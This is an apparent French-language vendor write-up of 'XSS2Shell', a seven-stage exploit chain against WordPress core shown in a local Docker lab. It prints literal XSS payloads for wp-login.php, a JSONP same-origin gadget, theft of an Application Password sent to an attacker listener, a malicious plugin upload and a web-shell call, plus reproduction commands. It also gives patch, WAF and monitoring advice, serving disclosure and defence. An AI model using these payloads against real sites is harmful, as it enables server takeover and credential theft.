XSS2Shell : De Zéro au Shell sur WordPress

Un guide pratique d'une chaîne XSS pré-authentification pouvant escalader vers l'exécution de code à distance sur WordPress Core, démontré dans un laboratoire Docker local.

Tests autorisés uniquement.

Tout ce qui suit a été exécuté contre un laboratoire local (WordPress 7.0.2 sur localhos). N'utilisez pas ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Résumé exécutif

XSS2Shell n'est pas un simple bug — c'est une chaîne d'exploitation en sept étapes qui commence avec un seul caractère (< suivi d'un espace) contournant deux analyseurs HTML différents sur la page de connexion de WordPress, et se termine par l'exécution de PHP sur le serveur en tant que www-data.

Ce qui le rend dangereux :

  1. L'étape 1 ne nécessite aucune authentification — n'importe qui peut déclencher du JavaScript sur wp-login.php.
  2. Il réside dans le cœur de WordPress — pas dans un plugin ; pratiquement toutes les installations supportées depuis 2016 sont affectées.
  3. Il utilise le propre code de WordPress — user-profile.js, REST JSONP, Application Passwords, téléversement de plugin — comme gadgets.
  4. Un RCE complet est démontré et reconnu par WordPress — bien qu'il nécessite d'inciter un administrateur connecté à effectuer un seul clic.

Cet article présente chaque étape avec des captures d'écran de notre laboratoire local.

L'environnement de laboratoire

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 on http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Chaque site WordPress expose /wp-login.php. Cette page est le point d'entrée de toute la chaîne.

Étape 0 : La différence de parseur (cause racine)

Lorsque la connexion échoue, WordPress affiche le nom d'utilisateur soumis dans un message d'erreur. Le nom d'utilisateur passe par deux assainisseurs qui ne s'accordent pas sur ce qu'est une « balise » :

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Le payload utilise un espace après< :

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Sur le WordPress 7.0.2 vulnérable, cela survit à l'assainissement et devient un DOM actif :

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Sur le WordPress 7.0.4 corrigé, la même charge utile est échappée en HTML dans le message d'erreur — aucun élément actif.

Ce bug existe depuis WordPress 4.7 (2016) et a été manqué par des années d'audits de sécurité.

Étape 1 : XSS avant authentification (aucune connexion requise)

Les nœuds DOM injectés correspondent aux sélecteurs que le propre fichier user-profile.js de WordPress recherche sur la page de connexion (chargé pour le flux de réinitialisation du mot de passe) :

  1. .reset-pass-submit .wp-generate-pw est cliqué automatiquement au chargement de la page
  2. Le clic se propage au gestionnaire délégué de #color-picker
  3. La vérification de garde user_id === checkuser_id passe car les deux sont undefined
  4. jQuery envoie un POST à ajaxurl — mais ajaxurl n'existe pas sur la page de connexion…

À moins qu'on ne le remplace :

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

L'élément <area id=ajaxurl> devient window.ajaxurl. jQuery appelle .toString() → retourne href. WordPress REST retourne du JSONP → jQuery globalEval() → alert()s'exécute sur l'origine WordPress.

Stage 1 demo page
Stage 1 demo page

Soumettez le formulaire (ou ouvrez demo/stage1-preauth-xss.html et cliquez sur Run Stage 1) :

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Impact à cette seule étape : hameçonnage de credentials sur le vrai domaine, détournement de session, appels API same-origin — sans aucune authentification.

Étape 2 : Ingénierie sociale — le clic de l'administrateur

Les étapes 2 à 7 nécessitent qu'un administrateur connecté ouvre une page contrôlée par l'attaquant. C'est ce frein qui maintient le CVSS en dessous de 10 — mais cela est réaliste pour des attaques ciblées.

L'administrateur pourrait recevoir : « Votre session a expiré — cliquez ici pour vous ré-authentifier. »

Simulated phishing lure page
Simulated phishing lure page

Lors du clic, la page de l'attaquant :

  1. Ouvre une popup enfant (about:blank)
  2. Redirige la fenêtre principale vers la page d'autorisation des mots de passe d'application de WordPress
  3. Injecte un formulaire XSS dans la fenêtre enfant et le soumet automatiquement à wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Étape 3 : Exécution de méthode de même origine (SOME) — approbation automatique

Le payload XSS de la fenêtre enfant remplace le callback JSONP de alert par :

window.opener.approve.click

WordPress REST encapsule la réponse :

/**/window.opener.approve.click({...})

Le runtime résout window.opener (fenêtre parente) → .approve (le bouton #approve) → .click(). Le bouton Approuver des mots de passe d'application est cliqué automatiquement — sans interaction de l'utilisateur sur cette page.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Remarquez l'URL de rappel dans la page : les identifiants seront envoyés à http://127.0.0.1:9090/callback?...&password=[------].

Étape 4 : Capture du mot de passe d'application

WordPress crée un nouveau mot de passe d'application et redirige vers l'success_url de l'attaquant avec les identifiants dans la chaîne de requête :

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

L'attaquant dispose désormais de credentials d'authentification HTTP Basic pour l'API REST de WordPress — issus de la propre session de l'administrateur, sans que l'administrateur ait saisi quoi que ce soit après le clic initial sur le lien.

Étape 5 : Publication d'une page contrôlée par l'attaquant

À l'aide du mot de passe d'application volé, l'attaquant envoie une requête POST à /wp-json/wp/v2/pages et publie une page avec du JavaScript intégré. Les administrateurs disposent de la capacité unfiltered_html — les balises script sont conservées.

Étape 6 : Téléversement d'un plugin via la session administrateur

Le JavaScript de l'attaquant (s'exécutant dans le navigateur de l'administrateur sur la page publiée) :

  1. Récupère /wp-admin/plugin-install.php?tab=upload pour obtenir le nonce de téléversement
  2. Envoie une requête POST avec un fichier ZIP malveillant vers /wp-admin/update.php?action=upload-plugin
  3. WordPress l'extrait dans wp-content/plugins/xss2shell/

Le plugin n'a pas besoin d'être activé. Les fichiers PHP dans le répertoire du plugin sont directement accessibles via le web.

Étape 7 : Exécution de code à distance

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Réponse :

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

L'attaquant peut désormais exécuter des commandes arbitraires en tant qu'utilisateur du serveur web — lire wp-config.php (identifiants de base de données), vider la base de données, effectuer un pivot latéral.

Sortie complète du terminal PoC :

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

La chaîne complète en un coup d'œil

sequenceDiagram participant A as Attacker server participant V as Victim browser participant W as WordPress 7.0.2 Note over V,W: Admin is logged in V->>A: Opens phishing link (1 click) A->>V: Attacker HTML + child popup V->>W: Main window → authorize-application.php V->>W: Child POSTs XSS payload to wp-login.php W->>V: JSONP executes window.opener.approve.click Note over V,W: Approve button clicked automatically W->>A: Redirect with Application Password A->>W: REST API publish page (Basic auth) V->>W: Admin visits page → uploads plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Est-ce vraiment dangereux ?

Ce qui est garanti (haute confiance)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Ce qui nécessite des conditions supplémentaires (chemin RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Calibration de la sévérité

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

En résumé : Il ne s'agit pas d'un RCE sans clic et propageable comme Log4Shell. Il s'agit bien d'une vulnérabilité profondément technique au niveau du Core, affectant ~43 % du web où :

  • L'étape 1 seule est un XSS pré-authentification grave sur la page de connexion
  • La chaîne complète convertit un seul clic d'administrateur en compromission du serveur
  • La cause profonde (différentiel d'analyseur) s'applique à toute base de code utilisant plusieurs analyseurs HTML

L'avis officiel de WordPress indique que l'exécution de code à distance nécessite « des conditions hors du contrôle de l'attaquant » et « une ingénierie sociale réussie. » C'est exact — mais la chaîne démontrée rend ces conditions réalisables avec un simple lien.

Reproduire la chaîne complète en local

# 1. Démarrer le lab make up # 2. Activer les mots de passe d'application en HTTP (lab uniquement) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Démarrer l'écouteur PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Dans le navigateur : # a. Se connecter en tant qu'administrateur sur http://localhost:9080/wp-login.php # b. Ouvrir http://127.0.0.1:9091/phishing-sim.html # c. Cliquer sur « Open attacker page » (autoriser les popups) # d. Attendre la sortie terminal affichant le shell + whoami

Défense

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Le correctif ajoute esc_html() au nom d'utilisateur dans le chemin d'erreur de connexion — garantissant que la chaîne est traitée comme du texte et non réanalysée comme du HTML.

Pourquoi cela est important pour la recherche en sécurité

Chaque maillon de la chaîne est individuellement anodin :

  • Différentiel d'analyseur syntaxique → maintenance de faible sévérité
  • Mauvais script chargé sur la page de connexion → faible
  • Callback JSONP validé par expression régulière → moyen
  • Mot de passe d'application dans l'URL de redirection → moyen
  • Le répertoire de plugins exécute du PHP sans activation → conception connue

Assemblés, ils donnent un CVSS de 8,9 et un shell.

La leçon : lors de l'évaluation de vulnérabilités XSS, posez-vous la question « qu'est-ce qui est déjà chargé sur cette page, et que fera-t-il si je lui fournis les bons nœuds DOM ? » La sévérité est une propriété de la chaîne, et non du bug individuel.

Références

Sélectionnez une région et une langue

Région
Langue
Vous souhaitez découvrir CyberTested en action ?
Réservez une démonstration gratuite